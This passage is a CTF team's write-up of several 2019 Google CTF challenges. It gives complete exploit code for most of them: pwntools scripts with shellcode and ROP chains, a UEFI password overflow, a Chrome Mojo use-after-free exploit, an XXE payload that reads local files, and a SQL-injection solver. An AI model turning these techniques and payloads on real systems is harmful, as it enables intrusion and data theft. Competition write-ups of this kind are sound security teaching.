    return ga.format("+" + str(randint(0,99999)).rjust(30,"0"))
  elif 'MOV' in ga:
    return ga.format(reg[randint(0,1)], "+" + str(randint(0,99999)).rjust(30, "0"))
  elif 'JMP' in ga or 'JEQ' in ga or 'JNE' in ga:
    return ga.format(randint(i-20, i+20)) if i < 780 and i >20 else ga.format(i+1)
  else:
    assert (False)

def b2s (_c):
  c = ord(_c)
  res = c
  if c > 0x7f:
    res = -0x100 + c
  return res

def d2s (i):
  res = i & 0xffffffff
  if res > 0x7fffffff:
    res = (-0x100000000 + res) 
  return res

def intbracket (s):
  res = 0
  for c in s:
    res = d2s(res * 10 + b2s(c) - 0x30)
  return res

cdll_libc = CDLL ('libc.so.6')
#r = process ("java -Xmx200m -cp jna.jar:. FancyJIT".split (" "))
r = remote ("jit.ctfcompetition.com", 1337)


def rand_page ():
  res = 0
  for _ in xrange (3):
    res = ((res << 16) ^ cdll_libc.rand()) & 0xffffffffffffffff

  res = res & 0x7ffffffff000
  return res

for i in xrange(10):
  print i 
  cdll_libc.srand (cdll_libc.time(0)+i)
  text_addr = rand_page ()
  data_addr = rand_page ()
  print "text: " + hex(text_addr)
  print "data: " + hex(data_addr)
cdll_libc.srand (cdll_libc.time(0)+9)
text_addr = rand_page ()
data_addr = rand_page ()

xchg_gadget = u'\u0f20009101\u06f7'.encode('utf-8')
bb = u'\u0de600000002959\u0668'.encode('utf-8') # 0x6e69ffee ; need - 40383
ss = u'\ua9000000005842\u096f'.encode('utf-8') # 0x68ff21i; need - 35826
movrdi = u'\u0a66006820\u0d6f'.encode('utf-8')
movrsp = u'\uff100000006096\u0662'.encode('utf-8')
jump = u'\u1b5016'.encode('utf-8')
# rop payload 
# "/bin/sh\x00" + mov rdi, r12 ret; pop rsi ret; pop rdx ret; syscall
asms = """
MOV(B, 50014)
MOV(B, 50010)
MOV(B, 1295)
JMP(6)
MOV(B, {movrdi})
RET()
ADD(A, 1)
STR(A, 4)
MOV(B, {text_hi})
STR(B, 5)
ADD(A, 5)
STR(A, 8)
STR(B, 9)
ADD(A, 5)
STR(A, 12)
STR(B, 13)
ADD(A, 11)
STR(A, 2)
STR(B, 3)
MOV(A, {bb})
SUB(A, 40383)
STR(A, 0)
MOV(A, {ss})
SUB(A, 35826)
STR(A, 1)
MOV(A, 59)
JMP({jump})
MOV(B, {movrsp})
RET()
""".format(text_hi=u32(p64(text_addr)[4:]), movrsp=movrsp, movrdi=movrdi, bb=bb, ss=ss, jump=jump).strip()

r.recvuntil ("the result:")
r.sendline (asms)
r.sendline ("")
print "text: " + hex(text_addr)
print "data: " + hex(data_addr)
r.interactive ()

---

## MicroServiceDaemonOS

There is integer overflow vulnerability in rc4 encryption function's variable `data_offset`.
We can set this value as negative, so we can overwrite heap data to rc4 encrypted data.
In heap memory, there is some function code.
So we overwrited these code to shellcode.
First, we need to know random offset of current rc4 result memory page using murmur hashing.
Next, we overwrited function code to shellcode one by one, just brute forced.
It is exploit code.

from pwn import *
import sys, os
from random import randint

log.info("For remote: %s HOST PORT" % sys.argv[0])
bin_name = "msdos"

try:
  r = remote(sys.argv[1], int(sys.argv[2]))
except:
  r = process(bin_name) #, env = {})


def do_debug (cmd = ""):
  try:
    if sys.argv[1] == 'debug':
      gdb.attach (r, cmd)
  except:
    pass

elf = ELF (bin_name);
context.word_size = elf.elfclass

#libc = ELF('libc.so.6') if os.path.exists('libc.so.6') else elf.libc

context.terminal = ["tmux", "splitw", "-h"]
#context.log_level = 'debug'

def rr ():
  r.recvuntil (": ")

def menu (idx):
  rr ()
  r.sendline (str(idx))

def s1 (idx, data, size, offset):
  assert (len(data) == size)
  """
  menu ('c')
  menu (idx)
  menu ('s')
  menu(size)
  menu(offset)
  r.send (data)
    """
  r.sendline ('c')
  r.sendline (str(idx))
  r.sendline ('s')
  r.sendline (str(size))
  r.sendline (str(offset))
  r.send (data)
  r.recvuntil ("data offset: ")
def g1 (idx):
  menu ('c')
  menu (idx)
  menu ('g')
  

def s0 (idx): 
  menu ('c')
  menu (idx)
  menu ('s')

def g0 (idx, offset, count):
  menu ('c')
  menu (idx)
  menu ('g')
  menu(offset)
  menu(count)
  return r.recvn (count*4)
  

#sc = asm(shellcraft.amd64.sh(),os='linux',arch='amd64')
sc = "\x31\xF6\x56\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xF7\xEE\xB0\x3B\x0F\x05"

rvs = [0, 1]
menu('l')
menu(0)
menu('l')
menu(0)
for _ in xrange (7):
  menu('l')
  menu(1)

org_hash = g0 (1, 0, 1)
#for i in xrange (0x1000):
s1 (2, "\x90"*4, 4, -0x8000000)

data = g0 (1, 0, 0x7fd8)

print len (data)

for i in range (0, len(data), 4):
  if org_hash != data[i:i+4]:
    print i
    break

print hex(i/4)

i = i/4 
offset = - (i * (1<<12) + 0x4000)

#for i in range (len(sc)):
i = 0
while i < range (len(sc)):
  s1 (2, sc[i], 1, offset + i)
  chk = r.recvn (1)
  if (chk != sc[i]): continue
  else :
    print "sc", i
    i += 1
    if i == len(sc):
      break

menu ('c')
menu (2)
menu ('g')
r.sendline ("/bin/cat flag")
r.sendline ("/bin/cat /flag")
r.sendline ("/bin/cat /home/*/flag")
r.interactive ()

> CTF{TZ-1n_us3rspac3-15-m3ss-d0nt-y0u-th1nk_s0?}

## Secure Boot

There are uefi boot loader and kernel image.
When I connected to remote server, there is no chance to enter our input.
So I thought there is some boot shell command or some bios mode command.
After searching, I noticed when I press `esc` during boot, it goes bios mode but we needs some password.
I dumped memory using gdb when my vm in bios mode and analyzed dump.
There is custom password check routine in `UiApp.dll` and noticed there is 11byte overflow.
It leads we can overwrite sha256 hash destination buffer address.
So I overwrote this buffer to &returnaddr-0x19 for overwriting return address last 1 byte.
I bypassed sha256 check and manually disabled secure boot option.
Finally we can boot kernel normally.
It is exploit code.

from pwn import *

r = remote("secureboot.ctfcompetition.com", 1337)
sleep(2)
r.sendline("\x1b")	# esc
sleep(2)
r.sendafter("Password?", "\x03\x49" + "A" * 0x86 + "\x99\x18\xec\x07\r")
sleep(2)
r.sendline("^[[B")
r.sendline("^[[A")
r.sendline("^[[A")
r.sendline("^[[A")
r.sendline("^[[A")
r.sendline("\r")
r.sendline("\r")
r.sendline("^[[B")
r.sendline("^[[A")
r.sendline(" ")
r.sendline("\x1b")
r.sendline("\x1b")
r.sendline("\x1b")
r.sendline("^[[B")
r.sendline("^[[A")
r.sendline("\r")

r.interactive()

> CTF{pl4y1ng_with_v1rt_3F1_just_4fun}

---

## dialtone

The goal of this problem is finding a valid input which cam make this binary output success. A form of input should be a sound and the binary read this sound input with PulseAudio library.

### Constraints

1. The binary read sound input 9 times each of which will be read on if previous input was correct
2. It extracts a amplitude of each sound channel (697Hz, 770Hz, 852Hz, etc..) which are corresponded to the frequency components of dialtone.
3. It compare extracted amplitude with other channel and select index of the most high amplitude channel among 697,770,852,941 and 1209, 1336, 1477, 1633.
4. So now, we can get 9 pairs of index which will be compared with hardcoded value(9,5,10,6,9,8,1,13,0) in the binary.
5. Each pair of index can be matched with one dial number so we can inference 9 digit number

### flag

A flag was 9 digit number curly braced with CTF.

## Malvertising

There is obfuscated javascript source code at https://malvertising.web.ctfcompetition.com/ads/src/metrics.js.
I beautified source and I found string decode function `b`.
So when I executed `var t = document[b('0x17', 'jAUm')](b('0x18', '3hyK')); steg[b('0x1a', 'OfTH')](t);`, it gaves `"var dJs = document.createElement('script'); dJs.setAttribute('src','./src/uHsdvEHFDwljZFhPyKxp.js'); document.head.appendChild(dJs);"`.
I found next stage source code.
And I noticed our user-agent must contain "android".

Also I beautified next source and understood all routine.
`navigator.platform` maybe 'ANDROID' or 'LINUX' and I got all country language code for brute force.
It is my python script.

from itertools import product
import struct

key_list = [["andro", "linux"], [1], [0, 1], [0, 1], [0, 1], [0, 1], ["af", "sq", "ar", "eu", "bg", "be", "ca", "zh", "hr", "cs", "da", "nl", "en", "et", "fo", "fa", "fi", "fr", "gd", "de", "el", "he", "hi", "hu",  "is", "id", "it", "ja", "ko", "lv", "lt", "mk", "mt", "no", "pl", "pt", "rm", "ro", "ru", "sz", "sr", "sk", "sl", "sb", "es", "sx", "sv", "th", "ts", "tn", "tr", "uk", "ur", "ve", "vi", "xh", "ji", "zu"], [0, 1], [0, 1], [0, 1], [0, 1]]

for l in product(*key_list):
	enc = "A2xcVTrDuF+EqdD8VibVZIWY2k334hwWPsIzgPgmHSapj+zeDlPqH/RHlpVCitdlxQQfzOjO01xCW/6TNqkciPRbOZsizdYNf5eEOgghG0YhmIplCBLhGdxmnvsIT/69I08I/ZvIxkWyufhLayTDzFeGZlPQfjqtY8Wr59Lkw/JggztpJYPWng==".decode('base64')
	enc = list(struct.unpack("<" + "L" * 34, enc))
	key = ''.join(str(i).upper() for i in l)
	key = list(struct.unpack("<LLLL", key[:16]))

	k = 0x9e3779b9 * 7
	while k:
		d = 3 & (k >> 2)
		for i in range(len(enc) - 1, -1, -1):
			enc[i] -= ((enc[i - 1] >> 5) ^ (enc[(i + 1) % len(enc)] << 2)) + (enc[(i + 1) % len(enc)] >> 3 ^ enc[i - 1] << 4) ^ (k ^ enc[(i + 1) % len(enc)]) + (key[3 & i ^ (3 & k >> 2)] ^ enc[i - 1])
			enc[i] &= 0xffffffff
		k -= 0x9e3779b9

	r = struct.pack("<" + "L" * 34, *enc)
	if "var" in r:
		print r
		break

We got next stage url `var dJs = document.createElement('script'); dJs.setAttribute('src','./src/npoTHyBXnpZWgLorNrYc.js'); document.head.appendChild(dJs);`.

I also analyzed this source and noticed _0x5877 is string decode function.
So same as before, I decoded all string and I got `./src/WFmJWvYBQmZnedwpdQBU.js` when execute `_0x5877('0x18', '\x4c\x5d\x34\x37')`;

Finally, flag is in https://malvertising.web.ctfcompetition.com/ads/src/WFmJWvYBQmZnedwpdQBU.js.

> CTF{I-LOVE-MALVERTISING-wkJsuw}

---

## devmaster 8000

cloud build system.

### Vulnerability

There is a setuid misconfiguration on `drop_privs` file.

### Exploit

`/client nc devmaster.ctfcompetition.com 1337 -- source.c -- my_binary -- ../../drop_privs admin admin cat ../../flag`

## Monochromatic

This is Mojo IPC Challenge. the challenge is chrome that add custom Mojo Interface. Also provided Chrome allow renderer process to use mojo js.

### Vulnerability
there is Use after free on custom Interface.

+void DogInterfaceImpl::CookAndEat(blink::mojom::FoodInterfacePtr foodPtr,
+                                     CookAndEatCallback callback) {
+  blink::mojom::FoodInterface *raw_food = foodPtr.get();
+
+  raw_food->GetWeight(base::BindOnce(&DogInterfaceImpl::AddWeight,
+                                     base::Unretained(this),
+                                     std::move(callback), std::move(foodPtr)));
+}

FoodInterface is exposed user Interface. So we change GetWeight Function to evil function that free Dog/Person/Cat InterfaceImpl Object.

function FoodImpl(){
    this.binding = new mojo.Binding(blink.mojom.FoodInterface, this);
}
FoodImpl.prototype = {
    getWeight:  async () =>{
        await dog_result.dog.ptr.reset();
        return {'weight':0x40};    
    }
};

If you set the appropriate heap Feng Shui, evil object that can do arb r/w is created.

### Exploit

<html>
    <pre id='log'></pre>
    <script src="mojo_bindings.js"></script>
    <script src="third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script>
    <script src="being_creator_interface.mojom.js"></script>
    <script src="food_interface.mojom.js"></script>
    <script src="dog_interface.mojom.js"></script>
    <script src="person_interface.mojom.js"></script>
    <script src="cat_interface.mojom.js"></script>
    <script>
        function print(string) {

            var log = document.getElementById('log');
            if (log) {
                log.innerText += string + '\n';
            }

        }

        async function write(){
            const sleep = m => new Promise(r => setTimeout(r, m));
            let fengshui_result = [];
            async function fengshui(){
                
                for(var i = 0; i<0x100 ; i++){
                    fengshui_result[i] = await creator_ptr.createDog();
                    await fengshui_result[i].dog.setName("A".repeat(0x3f));
                }
                print("[+] fengshui ");
            }

            async function food0(){
                for(var i = 0; i < 0x1000; i++){
                    cat_result[i] = await creator_ptr.createCat();
                    await cat_result[i].cat.setName(String.fromCharCode(i)+"K".repeat(0x37))
                }
                print("[+] Allocate Dogs");
            }
            function c_encode(s) {
                var res = [];
                var k = s;
                for (var i = 0; i < k.byteLength; ++i) {
                    var c = k[i] & 0xff;
                    res.push('\\x' + ('0'+c.toString(16)).slice(-2));
                }
                return res.join('');
            }
            let heap = [];
            let index = -1;
            async function food1(){
                print("[+] Get Cat Name")
                for(var i = 0; i < 0x1000 && heap.length == 0; i++){
                    var leak = (await cat_result[i].cat.getName());
                    leak = leak.arr
                    for (var j = 0; j + 8 <= leak.byteLength; j += 8) {
                        
                        if (leak[j+7] != 0x4b
                                && leak[j+6] != 0x4b
                                && leak[j+5] != 0x4b
                                && leak[j+5] != 0x4b) 
                        
                        
                        {
                            value = 0;
                            for (var k = j+5; k >= j; --k)
                                value = value*0x100 + leak[k];
                            heap.push(value);
                        }
                    
                    }
                    index = i;
                }
            }
            let cat_result = [];
            let creator_ptr = new blink.mojom.BeingCreatorInterfacePtr();
            Mojo.bindInterface(blink.mojom.BeingCreatorInterface.name,
                     mojo.makeRequest(creator_ptr).handle);
            

            function FoodImpl(){
                this.binding = new mojo.Binding(blink.mojom.FoodInterface, this);
            }
            FoodImpl.prototype = {
                getWeight:  async () =>{
                    print("[+] GetWeight");
                    //await fengshui();
                    await dog_result.dog.ptr.reset();
                    print("[!] Free CatInterfaceImpl");
                    await sleep(400);
                    await food0();
                    //food1();
                    return {'weight':0x40};    
                }
            };
            let food_interface = new FoodImpl();
            let food_ptr = new blink.mojom.FoodInterfacePtr();
            food_interface.binding.bind(mojo.makeRequest(food_ptr));
            let dog_result =  await creator_ptr.createDog();
            
            dog_result.dog.cookAndEat(food_ptr);
            await sleep(3000);
            await food1();
            await sleep(1000);

            if( heap[2] == 0x38){
                function u2d(v) {
                    let lo = v&0xffffffff;

                    let hi = v/0x100000000;
                    u32[0] = lo;
                    u32[1] = hi;
                    return f64[0];
                }
                let vtable = heap[0];
                let string_ptr = heap[1];
                let chromebase = vtable - 0x08FC1AE0;
                print("[+] Sucecss!");
                print(`[+] Index : ${index}`);
                print(`[+] vtable : ${vtable.toString(16)}`);
                print(`[+] strint_ptr : ${string_ptr.toString(16)}`);
                print(`[+] chromebase : ${chromebase.toString(16)}`);
                let u32 = new Uint32Array(0x2);
                let f64 = new Float64Array(u32.buffer);
                let spread64 = new Float64Array(0x4);
                let spread8 = new Uint8Array(spread64.buffer);
                
                function arb(ptr){
                    spread64[0] = u2d(vtable);
                    spread64[1] = u2d(ptr);
                    spread64[2] = u2d(0x40);
                    spread64[3] = u2d(0x8000000000000050);
                    let fake_object = String.fromCharCode(...spread8);
                    return fake_object
                }
                function call(ptr){
                    spread64[0] = u2d(ptr);
                    spread64[1] = u2d(0x4141414141414141);
                    spread64[2] = u2d(0x40);
                    spread64[3] = u2d(0x8000000000000050);
                    let fake_object = String.fromCharCode(...spread8);
                    return fake_object
                }

                await cat_result[index].cat.setName(arb(chromebase)); //0x55555e515ae0
                let target = 0;
                for(var i = 0; i < 0x20; i++){
                    if( i == index ) continue; 
                    let find = (await cat_result[i].cat.getName()).name;
                    if( find.indexOf("ELF") != -1){
                        target = i;
                        break;
                    }
                }
                print(`[+] target : ${target}`);
                await cat_result[index].cat.setName(arb(chromebase+0x095285F0));
                let r = (await cat_result[target].cat.getName()).arr;
                let printf = 0;
                for(var i = 7; i >= 0; i--){
                    printf = printf*0x100 + r[i];
                }
                print(`[+] printf : ${printf.toString(16)}`);
                let libc = printf-0x0055800;
                let bss = chromebase+ 0x95bc000

                await cat_result[index].cat.setName(arb(bss+0x1000));
                r = (await cat_result[target].cat.setName("/home/user/flag"));


                // 0x00000000037c7323 : mov rdi, qword ptr [r14] ; call qword ptr [rdi + 8]
                // 0x0000000003530614 : mov rsi, r14 ; call qword ptr [rdi + 8]
                // 0x0000000002ac61dc : lea rsp, [rsi + 0x30] ; popfq ; ret
                // 0x00000000040f288e : xchg rax, rsp ; ret
                // 0x0000000002cfca65 : add rsp, 0x18 ; ret

                let open = chromebase + 0x08F7BED0;
                let write = chromebase + 0x08F77DB0;
                let read = chromebase + 0x08F77CA0;
                let pop_rdi_ret = chromebase + 0x000000000280105c // pop rdi ; ret
                let pop_rsi_ret = chromebase + 0x000000000280ea85 // pop rsi ; ret
                let pop_rdx_ret = chromebase + 0x00000000028568db // pop rdx ; ret
                let mov_edi_eax_ret = chromebase + 0x00000000084f77d5 // mov edi, eax ; ret

                let fake_table64 = new Float64Array([
                    u2d(chromebase+0x0000000002cfca65),
                    u2d(0x41414141),
                    u2d(chromebase+0x00000000040f288e),
                    u2d(0xdeadbeef),
                    u2d(pop_rdi_ret), // <--- ROP Chain
                    u2d(bss + 0x1000),
                    u2d(pop_rsi_ret),
                    u2d(0x0),
                    u2d(open),
                    u2d(mov_edi_eax_ret),
                    u2d(pop_rsi_ret),
                    u2d(bss + 0x300),
                    u2d(pop_rdx_ret),
                    u2d(0x30),
                    u2d(read),
                    u2d(pop_rdi_ret),
                    u2d(0x1),
                    u2d(pop_rsi_ret),
                    u2d(bss + 0x300),
                    u2d(pop_rdx_ret),
                    u2d(0x100),
                    u2d(write)
                ]);
                let fake_table8 = new Uint8Array(fake_table64.buffer)
                let fake_table = String.fromCharCode(...fake_table8);
                await cat_result[index].cat.setName(arb(bss));
                r = (await cat_result[target].cat.setName(fake_table));
                await cat_result[index].cat.setName(call(bss));
                (await cat_result[target].cat.getName()).arr;
                print("[+] BOOOOM");
            
            }
            else{
                print("[+] Fail");
            }
        }
        
        async function main(){

            //await fengshui();
            //await write();
            await write();
        }
        main()
    </script>
</html>

## Sandstone

*Sandstone* is a problem about writing a [Rust](https://www.rust-lang.org/) code that invokes `syscall(0x1337)` in a sandboxed environment. Usually, the main goal of this kind of problems is finding a vulnerability in the sandbox logic, but this problem is not about that. Rust is a memory-safe language by default. It allows an additional unsafe operations, such as calling foreign functions or dereferencing a raw pointer, only in an `unsafe {}` block, which is prohibited in this problem.

We first observed that the problem turns on an optional feature called `nll` in nightly Rust, which stands for Non Lexical Lifetime (it is a Rust specific term, and it doesn't matter if you don't know what it means). We thought there must be a unsoundness hole in this feature, which will allow us to write `syscall(0x1337)` in safe Rust. Therefore, we searched for issues with [NLL-sound](https://github.com/rust-lang/rust/labels/NLL-sound) tag in the Rust repository. The description for the tag is `Working towards the "invalid code does not compile" goal` which seems like a perfect match for our situation. However, we didn't find anything that looks easily applicable to this problem.

Then, we changed our target to [I-unsound 💥](https://github.com/rust-lang/rust/labels/I-unsound 💥) tag and found the issue [Coherence can be bypassed by an indirect impl for a trait object #57893](https://github.com/rust-lang/rust/issues/57893). There was [a comment](https://github.com/rust-lang/rust/issues/57893#issuecomment-500250283) which includes a [std::mem::transmute](https://doc.rust-lang.org/std/mem/fn.transmute.html) implementation in Safe Rust, which allows unrestricted conversion between any Rust types.

The `transmute()` implementation allowed us to search through the stack memory for a libc pointer. After that, we calculated the address of the syscall funcion from the leaked pointer. Finally, we overwrote a safe function pointer with syscall address and called it with an argument 0x1337.

This is our main exploit code:

const PTR_SIZE: usize = std::mem::size_of::<usize>();

fn read_val(addr: usize) -> usize {
    *transmute::<*mut usize, &mut usize>(addr as *mut usize)
}

fn find_index(base_ptr: usize) -> usize {
    let pattern = [0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1];
    let mut start_index = 0;
    loop {
        let start_ptr = base_ptr + PTR_SIZE * start_index;
        if (0..pattern.len()).into_iter().all(|index| {
            let val = read_val(start_ptr + PTR_SIZE * index);
            if pattern[index] == 0 {
                val == 0
            } else {
                val > 0
            }
        }) {
            let target_index = start_index + 11;
            let target_ptr = base_ptr + PTR_SIZE * target_index;
            println!("{:03} 0x{:016x} - {:016x}", target_index, target_ptr, read_val(target_ptr));
            return target_index;
        }
        start_index += 1;
    }
}

fn fake_syscall(arg: usize) {
}

fn update(ptr: &mut fn(usize), val: usize) {
    let ptr_ref = transmute::<_, &mut usize>(ptr);
    *ptr_ref = val;
}

fn poc() {
    let stack = 0xabcdef0123456789usize;
    let mut ptr = (&stack as *const usize) as usize;
    println!("Current stack pointer: 0x{:016x}", ptr);

    let count = 200;

    ptr -= PTR_SIZE * count;
    let base_ptr = ptr;

    for i in 0..count {
        println!("{:03} 0x{:016x} - {:016x}", i, ptr, read_val(ptr));
        ptr += PTR_SIZE;
    }

    let lib_target_index = find_index(base_ptr);
    let lib_base = read_val(base_ptr + PTR_SIZE * lib_target_index) - 0x151e0;
    println!("lib{} base addr: 0x{:016x}", 'c', lib_base);

    let syscall_addr = lib_base + 0x1172d0;
    println!("lib{} syscall addr: 0x{:016x}", 'c', syscall_addr);

    let mut syscall_ptr: fn(usize) = fake_syscall;
    update(&mut syscall_ptr, syscall_addr);
    syscall_ptr(0x1337);

    println!("Please give me the flag");
    loop {
    }
}

According to the flag, the intended solution was to use [Pattern guard can consume value that is being matched #31287](https://github.com/rust-lang/rust/issues/31287).

---

## BNV

This is a web service which can inquire the information of the world's Braille office.

### Vulnerability

There is a SIMPLE XXE bug.

### Exploit

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ELEMENT root (#PCDATA)>
<!ENTITY % ext SYSTEM "/flag">
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa '

<!ENTITY &#x25; file SYSTEM "file://flag">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///juno/asdf/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;

'>

%local_dtd;

]>
<root></root><Paste>

## gLotto

This challenge demands `LUCK`.

### Vulnerability

There are total four tables shown in the page, and each of them uses SQL.

SQL Injection is possible on those SQL queries and we can change the ordering of each table.

### Exploit

Each table entries has `winner` field, which consists of hex-string.

Concatenate `winner` and substring of `@lotto`, and digest it into md5 function. Use the digested value for ordering.

Solver by @RBTree_Pg_

Dictionary generation code:

import hashlib
import string
import itertools
import pickle

charset = string.ascii_uppercase + string.digits

march = ['1WSNL48OLSAJ', 'UN683EI26G56', 'CA5G8VIB6UC9', '00HE2T21U15H', '01VJNN9RHJAC', 'I6I8UV5Q64L0', 'YYKCXJKAK3KV', 'D5VBHEDB9YGF']
dic = dict()
for v in itertools.product(charset, repeat=4):
    arr = []
    suffix = ''.join(v)

    for idx, winner in enumerate(march):
        s = (winner + suffix).encode('ascii')
        digest = hashlib.md5(s).hexdigest()

        arr.append( (digest, idx) )

    arr = sorted(arr)

    perm_str = ''.join([ format(arr[i][1], 'x') for i in range(len(march)) ])

    if perm_str not in dic:
        dic[perm_str] = suffix

with open('march.pickle', 'wb') as f:
    pickle.dump(dic, f, pickle.HIGHEST_PROTOCOL)

april = ['4KYEC00RC5BZ', '7AET1KPGKUG4', 'UDT5LEWRSWM9', 'OQQRH90KDJH1', '2JTBMJW9HZOO', 'L4CY1JMRBEAW', '8DKYRPIO4QUW', 'BFWQCWYK9VHJ', '31OSKU57KV49']
dic = dict()
for v in itertools.product(charset, repeat=4):
    arr = []
    suffix = ''.join(v)

    for idx, winner in enumerate(april):
        s = (winner + suffix).encode('ascii')
        digest = hashlib.md5(s).hexdigest()

        arr.append( (digest, idx) )

    arr = sorted(arr)

    perm_str = ''.join([ format(arr[i][1], 'x') for i in range(len(april)) ])

    if perm_str not in dic:
        dic[perm_str] = suffix

with open('april.pickle', 'wb') as f:
    pickle.dump(dic, f, pickle.HIGHEST_PROTOCOL)


may = ['O3QZ2P6JNSSA', 'PQ8ZW6TI1JH7', 'OWGVFW0XPLHE', 'OMZRJWA7WWBC', 'KRRNDWFFIB08', 'ZJR7ANXVBLEF', '8GAB09Z4Q88A']
dic = dict()
for v in itertools.product(charset, repeat=3):
    arr = []
    suffix = ''.join(v)

    for idx, winner in enumerate(may):
        s = (winner + suffix).encode('ascii')
        digest = hashlib.md5(s).hexdigest()

        arr.append( (digest, idx) )

    arr = sorted(arr)

    perm_str = ''.join([ format(arr[i][1], 'x') for i in range(len(may)) ])

    if perm_str not in dic:
        dic[perm_str] = suffix

with open('may.pickle', 'wb') as f:
    pickle.dump(dic, f, pickle.HIGHEST_PROTOCOL)


june = ['1JJL716ATSCZ', 'YELDF36F4TW7', 'WXRJP8D4KKJQ', 'G0O9L3XPS3IR']
dic = dict()
for v in itertools.product(charset, repeat=1):
    arr = []
    suffix = ''.join(v)

    for idx, winner in enumerate(june):
        s = (winner + suffix).encode('ascii')
        digest = hashlib.md5(s).hexdigest()

        arr.append( (digest, idx) )

    arr = sorted(arr)

    perm_str = ''.join([ format(arr[i][1], 'x') for i in range(len(june)) ])

    if perm_str not in dic:
        dic[perm_str] = suffix

with open('june.pickle', 'wb') as f:
    pickle.dump(dic, f, pickle.HIGHEST_PROTOCOL)

Exploit code using pre-computed dictionaries:

import hashlib
import string
import pickle
import requests
import re
import os
import random


def randomString(stringLength=10):
        """Generate a random string of fixed length """
        letters = string.ascii_lowercase
        return ''.join(random.choice(letters) for i in range(stringLength))

base_url = 'https://glotto.web.ctfcompetition.com/'

with open('march.pickle', 'rb') as f:
    march_dic = pickle.load(f)
with open('april.pickle', 'rb') as f:
    april_dic = pickle.load(f)
with open('may.pickle', 'rb') as f:
    may_dic = pickle.load(f)
with open('june.pickle', 'rb') as f:
    june_dic = pickle.load(f)

march = ['1WSNL48OLSAJ', 'UN683EI26G56', 'CA5G8VIB6UC9', '00HE2T21U15H', '01VJNN9RHJAC', 'I6I8UV5Q64L0', 'YYKCXJKAK3KV', 'D5VBHEDB9YGF']
april = ['4KYEC00RC5BZ', '7AET1KPGKUG4', 'UDT5LEWRSWM9', 'OQQRH90KDJH1', '2JTBMJW9HZOO', 'L4CY1JMRBEAW', '8DKYRPIO4QUW', 'BFWQCWYK9VHJ', '31OSKU57KV49']
may = ['O3QZ2P6JNSSA', 'PQ8ZW6TI1JH7', 'OWGVFW0XPLHE', 'OMZRJWA7WWBC', 'KRRNDWFFIB08', 'ZJR7ANXVBLEF', '8GAB09Z4Q88A']
june = ['1JJL716ATSCZ', 'YELDF36F4TW7', 'WXRJP8D4KKJQ', 'G0O9L3XPS3IR']

march_rev, april_rev, may_rev, june_rev = dict(), dict(), dict(), dict()
for idx, val in enumerate(march):
    march_rev[val] = idx
for idx, val in enumerate(april):
    april_rev[val] = idx
for idx, val in enumerate(may):
    may_rev[val] = idx
for idx, val in enumerate(june):
    june_rev[val] = idx

get_url = base_url
get_url += '?order0=date`%20and%201,MD5(concat(winner,%20substr(@lotto,1,4)))%23'
get_url += '&order1=date`%20and%201,MD5(concat(winner,%20substr(@lotto,5,4)))%23'
get_url += '&order2=date`%20and%201,MD5(concat(winner,%20substr(@lotto,9,3)))%23'
get_url += '&order3=date`%20and%201,MD5(concat(winner,%20substr(@lotto,12,1)))%23'

while True:
    session = 'junoxxx' + randomString(14)
    header = {
        'Cookie': 'PHPSESSID=' + session
    }
    r = requests.get(get_url, headers=header)

    lis = re.findall(r'[A-Z0-9]{12}', r.text)

    ans = ""

    s = ""
    for val in lis[:8]:
        s += format(march_rev[val], 'x')
    ans += march_dic[s]
    s = ""
    for val in lis[8:17]:
        s += format(april_rev[val], 'x')
    ans += april_dic[s]
    s = ""
    for val in lis[17:24]:
        s += format(may_rev[val], 'x')
    ans += may_dic[s]
    s = ""
    for val in lis[24:]:
        s += format(june_rev[val], 'x')
    ans += june_dic[s]

    os.system("python submit.py {} {} &".format(session, ans))

import requests
import sys

session = sys.argv[1]
code = sys.argv[2]

header = {
    'Cookie': 'PHPSESSID=' + session
}

content = requests.post('https://glotto.web.ctfcompetition.com/', headers=header, data={'code':code}).text

with open('result.txt', 'ab') as f:
    f.write('expect: {}, actual: {}\n'.format(code, content))
    f.close()

The flag is `CTF{3c2ca0d10a5d4bf44bc716d669e074b2}`